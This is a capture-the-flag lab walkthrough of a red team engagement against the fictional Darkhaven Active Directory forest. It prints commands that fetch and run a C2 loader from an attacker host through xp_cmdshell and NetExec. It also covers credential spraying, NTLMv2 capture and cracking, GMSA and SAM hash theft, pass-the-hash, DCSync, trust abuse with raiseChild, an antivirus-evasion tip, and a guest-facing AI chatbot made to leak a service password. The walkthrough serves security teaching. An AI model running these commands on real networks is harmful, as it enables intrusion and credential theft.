Darkhaven

This lab is provided by HackSmarter https://www.hacksmarter.org/

Objective / Scope

Darkhaven Technologies is a networking organization based throughout the world with locations in NY, CA, Japan, and more. They have segregated their network and would like to do a Red Team engagement to see if a user is able to move throughout the different networks.

A Close Access Team has infiltrated Darkhaven Technologies and dropped a machine for you on the internal network that you can connect to through OpenVPN. This machine should allow you to see the entire global network, as it was dropped on a port that is within the global VLAN. The Close Access Team relayed information that they overheard about the Web Portal being worked on at this time.

Some attacks might require "user interaction". We have simulated end users on the network, so this is in-scope.

Overview

DarkHaven is a multi-machine Red Team engagement set inside a segmented enterprise network with two Active Directory domains: an external-facing domain (ext.darkhaven.local) and two internal corporate domains (darkhaven.tech and corp.darkhaven.tech). The environment spans five target servers - a web portal, SQL server, file share, Certificate Authority, and two domain controllers - all connected across a flat 10.10.10.0/24 subnet.

The engagement begins with a single unauthenticated foothold on the web portal. From there, the attack chain progresses through credential leaks, password reuse, NTLM hash capture and cracking, GMSA abuse, SAM database dumping, and PowerShell history harvesting to ultimately achieve full domain compromise across all three domains.

Full Attack Chain Summary

1. Recon - A ping sweep and Nmap scans identify all live hosts and open services. DC-Ext returns a standard AD DC fingerprint, but SMB guest access is disabled. The scope briefing's hint about an in-progress web portal guides the initial attack path.
2. Web (10.10.10.132) - Initial Access - A guest-accessible AI chatbot on the web portal is manipulated into disclosing the sql_svc service account's default password. This provides the first set of valid domain credentials.
3. DC-Ext (10.10.10.136) - Credential Validation & Domain Enumeration - sql_svc is validated over SMB. LDAP enumeration produces a full domain user list. Kerberoasting finds no vulnerable accounts.
4. SQL (10.10.10.133) - Lateral Movement - MSSQL is accessed as sql_svc with sysadmin rights. A stored_passwords folder on the C: drive holds a KeePass database whose master password is stored in a plaintext README alongside it. The database yields credentials for svc_backup, svc_netops, and showard. The SQL root flag is retrieved via xp_cmdshell.
5. Share (10.10.10.135) - Intelligence Gathering & Hash Capture - svc_backup accesses two SMB shares. spider_plus exfiltration reveals internal platform URLs, a high-value phishing target (L.Roberts), and the default new-joiner password. svc_netops grants RDP. Seatbelt reveals active inbound remote logins. Inveigh captures an NTLMv2 hash for svc_webpool, which is cracked offline to D@rkH@v3n128!.
6. Web (10.10.10.132) - Privilege Escalation - svc_webpool is confirmed as a local administrator on the web server. Enumeration uncovers a Notepad++ session file referencing cached PHP configuration files. Reading the PHP config reveals hardcoded credentials for domain user kwarren.
7. DC-Ext (10.10.10.136) - GMSA Abuse - BloodHound identifies that kwarren holds ReadGMSAPassword rights over the ca_svc_account$ Group Managed Service Account. The NTLM hash for ca_svc_account$ is extracted directly from LDAP and used for Pass-the-Hash without cracking.
8. CA (10.10.10.134) - Lateral Movement & Credential Harvesting - The GMSA hash authenticates to the CA server. A Sliver beacon establishes persistence. The local SAM database is dumped, yielding the Administrator NTLM hash. Authenticating as Administrator and reviewing PowerShell command history exposes the plaintext password for ldap_svc.
9. DC-Ext (10.10.10.136) - Domain Compromise - ldap_svc is confirmed as a domain admin. A Kerberos TGT is obtained via kinit (bypassing SMB signing enforcement), and Evil-WinRM authenticates to the DC. The root flag is retrieved. An ldap_sync.exe binary on the Administrator desktop, analyzed with strings, yields a second set of credentials for ldap_svc in the corp.darkhaven.tech domain.
10. DC02 (10.10.10.5) - Second Domain Compromise - ldap_svc authenticates to corp.darkhaven.tech. A krb5 configuration file is generated and a Kerberos ticket is obtained. A Sliver agent is deployed on DC02. BloodHound maps a bidirectional trust between the three domains. impacket-raiseChild forges a golden ticket, yielding the darkhaven.tech Administrator NTLM hash, completing full forest compromise.

Credentials Recovered

Network Infrastructure

Phase 1 - Recon

/etc/hosts

Before scanning, all known hostnames are added to /etc/hosts. DNS-dependent tools like BloodHound, Evil-WinRM, and Kerberos require hostname resolution to function correctly - without this, Kerberos ticket requests will fail because the realm is derived from the hostname, not the IP. Setting this up at the start prevents tool failures later in the engagement:

10.10.10.136    dc.ext.darkhaven.local
10.10.10.135    share.ext.darkhaven.local
10.10.10.134    ca.ext.darkhaven.local
10.10.10.132    web.ext.darkhaven.local
10.10.10.133    sql.ext.darkhaven.local
10.10.10.4      dc.darkhaven.tech
10.10.10.5      dc02.corp.darkhaven.tech

Ping Sweep

A ping sweep is run across the full /24 subnet to identify which machines are live and responding to ICMP before investing time in full port scans. This gives a quick picture of the attack surface:

The following hosts respond to ICMP:

DC-Ext  - 10.10.10.136
Share   - 10.10.10.135
CA      - 10.10.10.134
DC01    - 10.10.10.4
DC02    - 10.10.10.5

SQL (10.10.10.133) and Web (10.10.10.132) do not respond to ICMP - Windows hosts are frequently configured with firewall rules that silently drop inbound ping. Both are assumed alive given the engagement scope and are scanned using -Pn to bypass Nmap's host discovery phase entirely and force a port scan regardless.

Nmap - DC-Ext (10.10.10.136)

The domain controller is scanned first because it is the authentication authority for the entire domain. Successful null or guest access to SMB or LDAP on a DC often provides a full user list without any credentials:

sudo nmap -sC -sV -vv -oA tcp 10.10.10.136; sudo nmap -sC -sV -vv -p- -oA allports 10.10.10.136

Results confirm a standard Windows Active Directory DC: DNS (53), Kerberos (88), LDAP (389/636/3268/3269), SMB (445), and RPC endpoint mapper are all open. An attempt to authenticate over SMB as the built-in guest account returns no accessible shares - guest access has been disabled. With nothing reachable anonymously from DC-Ext, the scope briefing's reference to an in-progress web portal becomes the next focus.

Phase 2 - Web Server (10.10.10.132) - Initial Access

Nmap

The web server is scanned with -Pn to skip host discovery since it doesn't respond to ICMP:

sudo nmap -sC -sV -vv -Pn -oA tcp 10.10.10.132; sudo nmap -sC -p- -sV -vv -oA allports 10.10.10.132 -Pn

HTTP is open on port 80. The scope briefing specifically called out the web portal as a point of interest - development portals often have loose access controls, unauthenticated functionality, or debug features that were never removed before the site went live.

Client Portal - AI Chatbot Credential Leak

Browsing to the web server reveals a client portal login page with the option to authenticate as a guest user. No credentials are required, giving immediate unauthenticated access to the application:

Inside the portal, an AI assistant chatbot is available to help staff and clients. The chatbot appears to have been trained on internal IT documentation - a common deployment pattern where organizations feed their knowledge base into an LLM to create an internal help desk tool. The risk is that internal documentation often contains sensitive operational details such as default passwords, service account names, and environment-specific configuration:

Querying the chatbot for the SQL service account's default password returns the credential directly:

Credentials obtained: sql_svc:SqLS3rvic3!

This is a significant misconfiguration. The chatbot has been trained on documentation that included default service account passwords, and it faithfully reproduces that information to any guest user who asks the right question. There is no authentication gate between the chatbot and sensitive credential data. The same credentials also authenticate directly to the portal as sql_svc, escalating from unauthenticated guest to a named service account:

Phase 3 - DC-Ext (10.10.10.136) - Credential Validation & Domain Enumeration

Credential Validation - sql_svc

With the chatbot-leaked password in hand, NetExec (nxc) validates sql_svc against the external domain controller over SMB. A [+] result confirms the account is active and the password is correct in the ext.darkhaven.local domain:

nxc smb 10.10.10.136 -u "sql_svc" -p 'SqLS3rvic3!'

With confirmed domain credentials, the engagement can now begin attacking the domain's authentication infrastructure directly.

Kerberoasting Attempt

With valid domain credentials, a Kerberoast attempt is made. Kerberoasting works by requesting Kerberos service tickets (TGS) for any account that has a Service Principal Name (SPN) registered. These tickets are encrypted with the account's NTLM hash and can be cracked offline. Any authenticated domain user can request these tickets - no special privileges required:

nxc ldap 10.10.10.136 -u "sql_svc" -p 'SqLS3rvic3!' --kerberoast KERBEROASTING

No Kerberoastable accounts are found. This dead end rules out a quick hash-cracking path to privilege escalation. The focus shifts to enumerating the domain for other attack vectors.

Domain User Enumeration

The user-desc module queries LDAP for all domain user accounts and their description fields. It is a common practice - and a common misconfiguration - for IT teams to place useful notes in the description field of user accounts. These notes sometimes contain passwords, hints, or environmental context that aids in attacking the account:

nxc ldap 10.10.10.136 -u "sql_svc" -p 'SqLS3rvic3!' -M user-desc

A full list of domain usernames is obtained and saved to a file. This list will be used later for credential spraying once additional passwords are recovered.

Phase 4 - SQL Server (10.10.10.133) - Lateral Movement & Credential Harvesting

Nmap

With sql_svc credentials confirmed, the SQL server is the obvious next target. Service account names in Windows environments typically mirror the service they run - sql_svc almost certainly authenticates to the SQL Server and may have sysadmin privileges on it. Scanned with -Pn since the host doesn't respond to ICMP:

sudo nmap -sC -sV -vv -Pn -oA tcp 10.10.10.133; sudo nmap -sC -p- -sV -vv -oA allports 10.10.10.133 -Pn

Port 1433 (MSSQL) is open. The path forward is clear.

MSSQL Access

Impacket's mssqlclient authenticates to the SQL Server using sql_svc's domain credentials. The full domain is specified because authentication is handled by the DC, not the SQL Server itself:

impacket-mssqlclient ext.darkhaven.local/sql_svc:'SqLS3rvic3!'@10.10.10.133

Authentication succeeds and an interactive MSSQL prompt is returned. The account has sysadmin rights, which opens up OS-level command execution via xp_cmdshell.

Sliver C2 Setup

Before diving deeper, a persistent C2 channel is established so that the foothold on SQL can be maintained independently of the fragile MSSQL shell session. Sliver is configured with an mTLS listener for encrypted implant callbacks and a staging TCP listener to deliver the initial shellcode. A named profile wraps the configuration so the same implant settings can be reused when deploying to additional machines:

profiles new --mtls 192.168.211.2:8443 --format shellcode darkhaven
stage-listener --url tcp://192.168.211.2:4455 --profile darkhaven
mtls -L 192.168.211.2 -l 8443

A Rust-based loader (RustHarder) is used to stage the shellcode. Rust loaders produce significantly lower antivirus detection rates compared to Go or C# alternatives because security vendors profile common implant languages and Rust's compiled output is less commonly fingerprinted by endpoint detection tools.

xp_cmdshell - OS Command Execution

xp_cmdshell is a built-in MSSQL stored procedure that executes operating system commands in the security context of the SQL Server service account. When the account has sysadmin database rights, this procedure can be enabled dynamically and used as a full shell primitive. PowerShell is used to pull the Rust loader from the attacker's HTTP server and execute it:

xp_cmdshell powershell -c "wget http://192.168.211.2:8444/rr.exe -OutFile C:\Windows\Tasks\rr.exe"
xp_cmdshell powershell -c "Start-Process C:\\Windows\\Tasks\\rr.exe"

The process executes but the Sliver implant does not call back. Rather than retrying blindly, xp_cmdshell is used to enumerate the local filesystem to understand the environment and find other attack paths:

KeePass Database Discovery

A stored_passwords directory is found on the C: drive root - an immediately suspicious find in any IT environment. Inside are two files:

• README.txt - contains the KeePass master password in plaintext
• it_passwords.kdbx - a KeePass vault holding IT department credentials

Both files are downloaded via xp_cmdshell. The KeePass database is opened locally using the plaintext master password from the README. Storing the master password in a file directly alongside the database completely negates KeePass's security model - the encryption is only as effective as the separation between the key and the vault. When both live in the same directory on a server accessible by xp_cmdshell, they provide no protection at all:

All credential pairs extracted from the database are saved to users and pass wordlist files in preparation for a domain-wide spray.

Password Spray - KeePass Credentials

The extracted credential pairs are sprayed against the external domain controller over SMB. The --continue-on-success flag prevents NetExec from stopping at the first valid hit, ensuring all matching pairs are discovered in a single pass:

nxc smb 10.10.10.136 -u users -p pass --continue-on-success

Three valid domain accounts are confirmed:

• svc_backup:V33mB@ckup#2024 - backup service account
• showard - domain user (password from KeePass)
• svc_netops - network operations service account (password from KeePass)

SQL Root Flag

sql_svc runs with elevated privileges on the SQL machine. The Administrator desktop is directly readable via xp_cmdshell:

xp_cmdshell powershell -c "gc C:\\Users\\Administrator\\Desktop\\root.txt"

Phase 5 - Share Server (10.10.10.135) - Intelligence Gathering & Hash Capture

SMB Share Enumeration

svc_backup is a logical fit for the Share machine - backup accounts routinely need read access to file shares to perform their job. NetExec enumerates accessible SMB shares using the backup account's credentials:

Two shares are accessible:

• DarkhavenData - primary data share
• DarkheavenData - secondary share (note the typo - this is a separate share, not a duplicate of the first)

Data Exfiltration via spider_plus

NetExec's spider_plus module recursively walks both shares and downloads every readable file. Setting DOWNLOAD_FLAG=True saves all content locally for offline review. A recursive spider across both shares is likely to surface configuration files, documents, and scripts that contain credentials or internal intelligence:

nxc smb 10.10.10.135 -u svc_backup -p 'V33mB@ckup#2024' -M spider_plus -o OUTPUT_DIR=. DOWNLOAD_FLAG=True

Intelligence from Share Data

Review of the exfiltrated files surfaces several operationally useful items.

Configuration files reference two internal platforms, confirming additional attack surface beyond what was visible during scanning:

https://helpdesk.darkhaven.local
https://lms.darkhaven.local

An internal incident report identifies L.Roberts as a user who consistently clicks links in phishing emails. This makes L.Roberts an ideal target for any user-interaction attack - a category explicitly listed as in-scope in the engagement briefing:

A document contains the default password issued to all new employee accounts. This is sprayed against the full domain user list to identify anyone who has not yet changed from the default:

nxc ldap 10.10.10.136 -u dc_users -p 'Welcome1@DarkH4ven' --continue-on-success

No accounts match - all users have already changed their passwords. The default password spray yields nothing, but the full domain user list and the newly discovered wordlist material remain useful for offline cracking.

RDP Access via svc_netops

svc_netops, recovered from the KeePass database, is tested for remote desktop access to the Share machine. The connection succeeds in Remmina, providing an interactive graphical session:

RDP access is confirmed. The Share machine root flag is retrieved from the desktop.

Sliver C2 Session

The same Rust loader used during the SQL phase is deployed on Share. It again fails to call back. The root cause is identified: the loader includes an anti-sandbox check that measures available system memory and self-terminates if less than 1 GB is reported - a common technique to avoid detonating in analyst sandboxes, which typically run with minimal resources. The Share server's low available memory (below the threshold) is triggering this exit condition before the implant can establish the C2 channel.

After removing the memory check from the loader source, recompiling, and redeploying, the implant executes successfully and a Sliver beacon registers:

With an active Sliver session on Share, deeper post-exploitation is now possible.

Seatbelt - Remote Login Discovery

With the Sliver session active, Seatbelt is executed on the Share machine. Seatbelt is a C# post-exploitation enumeration tool that queries dozens of security-relevant conditions in a single run - installed software, firewall rules, token privileges, scheduled tasks, and critically, recently authenticated users and currently active remote sessions.

The key finding here is evidence of other machines connecting to Share over the network:

This matters because those inbound connections authenticate over NTLM. When a client authenticates to a server over NTLM, it sends a challenge/response exchange - the NTLMv2 hash - which is visible to any process running on that server. An attacker positioned on Share can capture these hashes passively without any network interaction.

Inveigh - NTLMv2 Hash Capture

Inveigh is the Windows-native equivalent of Responder. It listens for LLMNR, NBT-NS, and mDNS broadcast name resolution queries on the local network segment and responds with the attacker's IP, causing the querying host to attempt NTLM authentication - revealing its NTLMv2 challenge/response to the attacker. Because Seatbelt confirmed active inbound connections, Inveigh is deployed to capture them:

An NTLMv2 challenge/response hash for svc_webpool is captured during a login attempt. This hash cannot be used directly for Pass-the-Hash because NTLMv2 challenge/response hashes are not the same as NTLM password hashes - they are session-specific and not replayable. However, they can be cracked offline to recover the plaintext password.

Cracking svc_webpool Hash

Hashcat's mode 5600 targets NetNTLMv2 challenge/response hashes. The hash is run against a combination of recovered share data and the it_security_wordlist file extracted from the KeePass database:

hashcat -m 5600 -a 0 svc_webpool_hash it_security_wordlist.txt

The password cracks to D@rkH@v3n128!, yielding svc_webpool:D@rkH@v3n128!.

The credentials are validated against the web server. SMB access is confirmed and the account is checked for local admin rights:

nxc smb 10.10.10.132 -u svc_webpool -p 'D@rkH@v3n128!' --shares

svc_webpool is a local administrator on the web server - a dramatically higher privilege level than the unauthenticated guest access from Phase 2.

Phase 6 - Web Server (10.10.10.132) - Privilege Escalation & Credential Harvesting

Notepad++ Session File - kwarren Credential Leak

With svc_webpool confirmed as a local admin on the web server, the machine is enumerated for credential material. A Notepad++ installation is discovered:

Notepad++ maintains a session file that tracks all documents that were open at the time the application was last closed. This file persists across reboots and is stored per-user in the AppData directory. The session file is found at C:\Users\Administrator\AppData\Roaming\Notepad++ and references two PHP source files as well as a backup of maint_config.php:

Reading the PHP configuration file reveals credentials for domain user kwarren hardcoded directly in the source:

Hardcoded credentials in web application configuration files are one of the most consistently found issues in penetration testing. Developers embed database connection strings, service account passwords, and API keys directly in PHP, Python, or .NET config files rather than using environment variables, secrets managers, or vaulted credential stores. These files routinely end up cached in editor session files, included in backups, or stored in accessible directories on the filesystem.

Credentials obtained: kwarren:!@#darkhav3n123#@!

The credentials are validated against the domain controller:

kwarren is confirmed as a valid ext.darkhaven.local domain account.

Phase 7 - DC-Ext (10.10.10.136) - GMSA Abuse

GMSA ReadGMSAPassword - ca_svc_account$

BloodHound analysis of the domain reveals that kwarren holds ReadGMSAPassword rights over the ca_svc_account$ Group Managed Service Account:

Group Managed Service Accounts (GMSAs) are domain accounts whose passwords are automatically rotated by Active Directory on a set schedule - typically every 30 days. The password is stored in LDAP as a protected attribute, but any security principal explicitly listed in the GMSA's MSDS-GroupMSAMembership attribute can retrieve the current password hash directly from LDAP. This is a deliberate delegation, not a vulnerability in itself. However, when a principal with ReadGMSAPassword rights is compromised, it becomes a direct privilege escalation path.

NetExec retrieves the NTLM hash for ca_svc_account$ over LDAP using kwarren's credentials:

nxc ldap 10.10.10.136 -u 'kwarren' -p '!@#darkhav3n123#@!' --gmsa

Hash obtained: ca_svc_account$:61ee845a0c90309802acdb91a4ed55cd

The NTLM hash is usable immediately for Pass-the-Hash - no cracking required. NTLM authentication accepts the hash directly in place of the password.

Phase 8 - CA Server (10.10.10.134) - Lateral Movement & ldap_svc Discovery

Pass-the-Hash - Validating ca_svc_account$ Access

The GMSA NTLM hash is tested against the CA server over SMB. Pass-the-Hash works here because SMB signing is not enforced on the CA (unlike the DC, which requires signed SMB sessions). A valid response with share access confirms the hash is usable:

nxc smb 10.10.10.134 -u 'ca_svc_account$' -H 61ee845a0c90309802acdb91a4ed55cd --shares

Sliver Implant Deployment

With admin access confirmed over SMB, NetExec can run PowerShell commands remotely on the CA server. The Rust loader is downloaded from the attacker's HTTP server and executed in two steps:

nxc smb 10.10.10.134 -u 'ca_svc_account$' -H 61ee845a0c90309802acdb91a4ed55cd -X "wget http://192.168.211.2/rr.exe -OutFile C:\\Windows\\Tasks\\rr.exe"
 
nxc smb 10.10.10.134 -u 'ca_svc_account$' -H 61ee845a0c90309802acdb91a4ed55cd -X "Start-Process C:\\Windows\\Tasks\\rr.exe"

A Sliver beacon connects back and an interactive session on the CA server is established.

CA Root Flag

The CA machine root flag is read from the Administrator desktop:

C:\Users\Administrator\Desktop\root.txt

BloodHound - CoerceToTGT Path

BloodHound analysis reveals that ca_svc_account$ has a CoerceToTGT relationship with the local Administrator account. The CA's role in the domain PKI allows the service account to be leveraged as a stepping stone to obtain a Kerberos TGT for Administrator through certificate-based privilege escalation. This path exists because of the CA's trusted position in the domain - it can issue certificates that are trusted for authentication:

SAM Dump - Local Administrator Hash

Rather than following the CoerceToTGT certificate escalation path, a more direct approach is taken: dumping the local SAM database. The SAM database contains NTLM hashes for all local accounts on the machine. Since ca_svc_account$ has administrative rights, NetExec can extract the SAM remotely:

nxc smb 10.10.10.134 -u 'ca_svc_account$' -H 61ee845a0c90309802acdb91a4ed55cd --sam

Hash obtained: Administrator:7af69f428fd21312a225c74e5f574ed6

Administrator Shell via Evil-WinRM

The local Administrator hash is used for Pass-the-Hash over WinRM. Since the Sliver loader is already on the machine from the previous deployment step, it is executed from the new Administrator context to register a second, higher-privileged beacon:

evil-winrm-py -i ca.ext.darkhaven.local -u 'Administrator' -H 7af69f428fd21312a225c74e5f574ed6

Start-Process C:\\Windows\\Tasks\\rr.exe

A second Sliver session registers, this time running as ca\Administrator.

ldap_svc Credentials in PowerShell History

With Administrator access on the CA machine, the PowerShell command history file is reviewed. The PowerShell ConsoleHost_history.txt file stores a persistent record of all commands run in interactive sessions. Administrators frequently execute commands that include credentials inline - connecting to LDAP directories, running management scripts, or testing service account access. These commands are logged verbatim:

The history file contains the plaintext password for ldap_svc. BloodHound confirms that ldap_svc is a domain administrator in ext.darkhaven.local. This is the final link in the chain.

Credentials obtained: ldap_svc:D@rkhav3nLDAP2024!

Phase 9 - DC-Ext (10.10.10.136) - Domain Compromise & Cross-Domain Discovery

Domain Admin Access via Kerberos

ldap_svc's credentials are used to authenticate to the external domain controller. The DC enforces SMB signing, which means NTLM relay and direct Pass-the-Hash over SMB will fail - the session would need to be signed with a key derived from the actual password. Instead, kinit is used to generate a local Kerberos TGT using the plaintext password. Evil-WinRM then authenticates using Kerberos (-k) rather than NTLM, which is fully compatible with SMB-signing-enforced environments:

kinit ldap_svc

evil-winrm-py -i dc.ext.darkhaven.local -k --no-pass

ldap_svc is a domain admin. The DC root flag is retrieved from C:\Users\Administrator\Desktop\root.txt - ext.darkhaven.local is fully compromised.

Cross-Domain Pivot - ldap_sync.exe Analysis

With Administrator access on DC-Ext, an unexpected binary is found on the Administrator desktop: ldap_sync.exe. This session used AdaptixC2 with the RustHarderInProcess loader (https://github.com/0xsyk0/RustHarderInProcess) for implant deployment:

The binary is found at C:\Users\Administrator\Desktop:

The binary is downloaded and examined. Opening it in dnSpy to inspect .NET source code fails - this is not a managed C# or .NET assembly but a compiled native binary. The strings utility is used instead to extract printable strings from the binary:

strings ldap_sync.exe > ldap_sync_strings

Reviewing the strings output surfaces a credential embedded in the binary - a password for ldap_svc but this time associated with the darkhaven.tech domain, a separate domain from the one already compromised:

Validating Credentials on corp.darkhaven.tech

The embedded password is tested across all known domains. A successful authentication is returned against corp.darkhaven.tech:

The attack surface has just expanded to a second domain.

Phase 10 - DC02 (10.10.10.5) - Second Domain Compromise

Nmap - DC02

DC02 is scanned to confirm open services. The same nmap flags are used as for the first DC scan:

sudo nmap -sC -sV -vv -oA tcp 10.10.10.5; sudo nmap -sC -sV -vv -p- -oA allports 10.10.10.5

Kerberos Configuration for corp.darkhaven.tech

Authenticating to a second domain requires configuring the Kerberos client to know about the new realm. NetExec can generate the krb5.conf file automatically:

nxc smb 10.10.10.5 -u ldap_svc -p 'D@rkhav3nLDAP2024!' --generate-krb5-file loot/dc02.corp/krb.conf

The /etc/hosts file is updated to include the DC02 hostname entries. The order of entries matters - the DC hostname must appear first for Evil-WinRM's Kerberos authentication to resolve correctly. An incorrect ordering causes WinRM authentication to fail even when the Kerberos ticket is valid:

10.10.10.5      ec2amaz-kk0ct8n.corp.darkhaven.tech dc02.corp.darkhaven.tech corp.darkhaven.tech
10.10.10.136    dc dc.ext.darkhaven.local ext.darkhaven.local
10.10.10.135    share.ext.darkhaven.local
10.10.10.134    ca.ext.darkhaven.local
10.10.10.132    web.ext.darkhaven.local
10.10.10.133    sql.ext.darkhaven.local
10.10.10.4      dc.darkhaven.tech darkhaven.tech

The /etc/krb5.conf is configured for the corp.darkhaven.tech realm, pointing to DC02 as the KDC and admin server:

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = CORP.DARKHAVEN.TECH
 
[realms]
    CORP.DARKHAVEN.TECH = {
        kdc = ec2amaz-kk0ct8n.corp.darkhaven.tech
        admin_server = ec2amaz-kk0ct8n.corp.darkhaven.tech
        default_domain = corp.darkhaven.tech
    }
 
[domain_realm]
    .corp.darkhaven.tech = CORP.DARKHAVEN.TECH
    corp.darkhaven.tech = CORP.DARKHAVEN.TECH

Authenticating to DC02

With the Kerberos configuration in place, a TGT is obtained for ldap_svc in the corp.darkhaven.tech realm:

kinit ldap_svc

SAM Dump - DC02

The SAM database is dumped from DC02 using the confirmed credentials, extracting local account hashes for offline use:

nxc smb 10.10.10.5 -u ldap_svc -p 'D@rkhav3nLDAP2024!' --sam

AdaptixC2 Agent Deployment

An AdaptixC2 agent is deployed on DC02 using the same SMB execution technique used on the CA server. The loader is downloaded and executed in two steps:

nxc smb 10.10.10.5 -u ldap_svc -p 'D@rkhav3nLDAP2024!' -X "wget http://192.168.211.2:8443/rri.exe -OutFile C:\\Windows\\Tasks\\rri.exe"
 
nxc smb 10.10.10.5 -u ldap_svc -p 'D@rkhav3nLDAP2024!' -X "Start-Process C:\\Windows\\Tasks\\rri.exe"

A new beacon checks in from DC02:

DCSync - corp.darkhaven.tech

With domain admin rights on corp.darkhaven.tech, AdaptixC2 is used to perform a DCSync attack - impersonating a legitimate domain controller replication request to pull all domain password hashes from DC02 without touching the LSASS process directly.

BloodHound - Bidirectional Domain Trust

SharpHound v2.11 is used to collect BloodHound data from DC02. A newer version of SharpHound is used here because the older version had connection stability issues within the VPN infrastructure:

BloodHound analysis of the collected data reveals a bidirectional trust between corp.darkhaven.tech and darkhaven.tech. A bidirectional trust means both domains accept authentication from users in the other. Importantly, it also means that a compromise of one domain can be leveraged to attack the other through trust exploitation.

Forest Compromise - impacket-raiseChild

Impacket's raiseChild module automates the process of escalating from a compromised child domain to the parent domain (or trusted domain) by exploiting the trust relationship. When a bidirectional trust exists, the SID History attribute can be abused to forge Kerberos tickets that include the trusted domain's Enterprise Admins SID, effectively granting full forest admin rights. raiseChild handles the entire escalation automatically - it identifies the trust keys, forges the golden ticket, and returns the parent domain Administrator NTLM hash:

impacket-raiseChild corp.darkhaven.tech/ldap_svc:'D@rkhav3nLDAP2024!'

The darkhaven.tech Administrator NTLM hash is returned. Evil-WinRM is used to authenticate to DC01 (10.10.10.4) with the recovered hash and retrieve the final root flag - full forest compromise achieved across all three domains.

evil-winrm-py -i 10.10.10.4 -u 'Administrator' -H <hash>